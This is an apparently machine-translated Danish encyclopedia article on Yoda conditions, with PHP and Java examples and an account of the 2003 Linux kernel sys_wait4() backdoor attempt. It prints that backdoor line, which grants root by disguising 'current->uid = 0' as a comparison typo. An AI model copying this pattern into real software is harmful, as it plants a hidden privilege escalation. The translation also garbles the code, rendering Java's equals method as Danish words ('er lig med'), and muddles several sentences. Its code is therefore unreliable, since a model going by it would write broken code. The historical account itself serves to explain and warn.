Yoda-betingelser (fra de engelske Yoda-betingelser ) eller Yoda-notation ( engelsk Yoda-notation ) i programmørers jargon - en "sikker" stil til at skrive sammenligningsudtryk ved programmering på sprog med C -syntaks, som består i at skrive et konstant medlem af udtrykket ( konstant eller funktionskald ) til venstre for sammenligningsoperatoren (det vil sige i 5 == astedet for det sædvanlige а == 5).
Denne stil er beregnet til at forhindre fejlen i disse sprog - brugen af tildelingsoperatoren " =" i stedet for sammenligningen " ==". Den fejlagtige brug af opgave gør Yodas notation til et forsøg på at ændre en konstant, hvilket forårsager en kompileringstidsfejl , hvilket eliminerer muligheden for fejl af denne art i det færdige program, og gør det også nemmere at finde og rette dem i ny kode .
Notationen er opkaldt efter Master Yoda fra Star Wars-universet , som har for vane at sætte ordene i en sætning i omvendt rækkefølge .
I klassisk notation skrives kontrol af en variabel for lighed med en eller anden konstant som følger (eksempel i PHP -sprog ):
if ( $variabel == 52 ) { /* handlinger udført, hvis variablen er 52 */ }det vil sige en variabel, en sammenligningsoperator og en konstant. Denne konstruktion er sårbar over for en kendt fejl:
if ( $variabel = 52 ) { // FEJL: TILDELING AF en variabel til 52 /* handlinger, der ALTID udføres, fordi værdien af udtrykket i parentes vil være tallet 52, som ikke er lig med nul og derfor betragtes som sandt i denne sammenhæng */ }En sådan kode forbliver syntaktisk korrekt, og hvis den ikke testes korrekt, kan den forblive i programmet i mange år og forårsage en alvorlig sårbarhed.
Når du bruger Yoda-notation, skiftes variablen og konstanten, så konstanten er til venstre:
if ( 52 == $variabel ) { /* handlinger udført, hvis variablen er 52 */ }Med denne notation, i tilfælde af en tastefejl i sammenligningsoperatoren, opnås en syntaktisk forkert tildeling til en konstant, og programmet vil ikke fungere, før fejlen er fundet og rettet.
if ( 52 = $variabel ) { // FEJL under kompilering /* ... */ }Det er nøjagtigt det samme for funktioner:
if ( someFunction () = $variable ) { // FEJL under kompilering /* ... */ }Yodas notation er også anvendelig til at løse problemet med usikker "null adfærd" ( engelsk unsafe null behavior ) for eksempel (et eksempel i Java ):
String myString = null ; if ( myString . er lig med ( "foobar" ) ) { // Throws NullPointerException /* ... */ }Når du anvender Yoda-notation:
String myString = null ; if ( "foobar" . er lig med ( myString ) ) { // Resultatet er falsk /* ikke udført */ }Brugen af Yoda-notation tillader ikke programmer i C++, Java, PHP og andre at arbejde, hvis der er fejl i sammenligningsudtryk (denne ændring ændrer ikke programmets adfærd). Nogle programmører betragter brugen af denne notation som "et tegn på god smag" [1] .
Ulemperne ved notationen omfatter kompleksiteten ved at skrive, ændre og læse programmet [2] , samt et ret snævert omfang - kun sammenligning for lighed, kun sammenligning med en konstant eller resultatet af et funktionskald. Moderne udviklingsværktøjer ( kompilatorer , redaktører ) giver dig mulighed for at overvåge og udstede advarsler, når de støder på en opgave i en kontrolstruktur, da den betragtes som potentielt fejlagtig.
Bemærkelsesværdigt er det mislykkede forsøg på at injicere en bagdør i en funktion sys_wait4()i Linux-kernen (2003) [3] [4] . Udviklingen blev udført på det proprietære BitKeeper versionskontrolsystem , og om natten blev koden uploadet til det mere almindelige CVS . Dette CVS blev hacket ved at tilføje kode til systemopkaldsbehandleren, sys_wait4()der så ud til at kontrollere inputdataene for en forkert kombination af flag:
+ if ((optioner == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL;Bagdøren var forklædt som en simpel tastefejl - i stedet ==for =. Ved at sende to modstridende flag til en funktion blev koden udført current->uid = 0, det vil sige, at programmet gav superbrugerrettigheder .
Endnu en download af information om CVS mislykkedes, og udenlandske patches blev fjernet, før det blev klart, hvad de var. Patchen kunne ikke komme ind i den stabile kerne (forbindelsen mellem BitKeeper og CVS er envejs). Forfatteren til bagdøren kunne ikke findes.
Star Wars " | "|||||||
---|---|---|---|---|---|---|---|
Skywalker-sagaen |
| ||||||
Andre film |
| ||||||
tegnefilm |
| ||||||
TV-serier |
| ||||||
Animeret serie |
| ||||||
Andre værker |
| ||||||
Univers |
| ||||||
musik |
| ||||||
Produktion |
| ||||||
Andet |